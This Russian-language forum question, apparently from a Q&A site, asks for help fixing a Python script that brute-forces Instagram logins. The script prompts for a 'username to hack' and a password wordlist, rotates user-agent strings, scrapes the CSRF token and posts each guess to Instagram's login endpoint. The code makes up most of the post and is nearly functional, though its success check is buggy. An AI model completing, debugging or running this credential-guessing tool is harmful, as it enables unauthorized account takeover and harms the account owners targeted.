Брутфорс Инстаграм с запросами и бс4 - PullRequest
0 голосов
/ 22 апреля 2019

Итак, я пытаюсь создать скрипт Instagram Bruteforce с Requests и Bs4 (используя все пароли из списка слов для входа в систему). Я не могу заставить его напечатать правильный пароль. Когда дело доходит до правильного пароля, цикл все равно не прерывается. Я знаю, что код должен работать в ближайшее время, потому что мне удалось войти в систему, используя этот метод. Но теперь, так как я пытаюсь сделать сценарий грубой силы (для развлечения), он не работает. Если кто-нибудь может помочь мне выяснить, как сделать разрыв цикла и напечатать («Пароль:» + ПАРОЛЬ). Я новичок в Python, кстати. Код находится в функции между прочим, но я ее здесь не показывал, просто чтобы вы, ребята, знали, почему иногда говорится «return main ()» и т. Д. Вот код:

from bs4 import BeautifulSoup
import json, random, re, requests

USERNAME = input("# - Username to hack ~ ")
if USERNAME == "":
    print("Please enter a valid username\nRestarting...")
    time.sleep(2)
    return main()
file = input("# - Wordlist Path ~ ")
question = input("# - Is the information above correct?(y/n) ~ ")
if question == "y" or question == "Y":
    passfile = open(file, 'r')
elif question == "n" or question == "N":
    return main()
else:
    print("That's not a valid option lol\nNow we will restart")
    time.sleep(3)
    return start()
wordlist = passfile.readlines()
BASE_URL = 'https://www.instagram.com/accounts/login/'
LOGIN_URL = BASE_URL + 'ajax/'

for PASSWD in wordlist:

    headers_list = [
            "Mozilla/5.0 (Windows NT 5.1; rv:41.0) Gecko/20100101"\
            " Firefox/41.0",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2)"\
            " AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2"\
            " Safari/601.3.9",
            "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:15.0)"\
            " Gecko/20100101 Firefox/15.0.1",
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"\
            " (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36"\
            " Edge/12.246"
            ]



    USER_AGENT = headers_list[random.randrange(0,4)]

    session = requests.Session()
    session.headers = {'user-agent': USER_AGENT}
    session.headers.update({'Referer': BASE_URL})
    req = session.get(BASE_URL)
    soup = BeautifulSoup(req.content, 'html.parser')
    body = soup.find('body')

    pattern = re.compile('window._sharedData')
    script = body.find("script", text=pattern)

    script = script.get_text().replace('window._sharedData = ', '')[:-1]
    data = json.loads(script)

    csrf = data['config'].get('csrf_token')

    login_data = {'username': USERNAME, 'password': PASSWD}
    session.headers.update({'X-CSRFToken': csrf})
    try:
        login = session.post(LOGIN_URL, data=login_data, allow_redirects=True)
        if req.history:
            print("Password is: " + PASSWD)
            for resp in req.history:
                print("Password is: " + PASSWD)
                if resp.url == "https://www.instagram.com" or resp.url == "https://www.instagram.com/" + USERNAME:
                    print("Password is: " + PASSWD)
                    break

                else:
                    print("Trying pass: " + PASSWD)


        else:
            print("Trying pass: " + PASSWD)

    except:
        print("Trying pass: " + PASSWD)
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...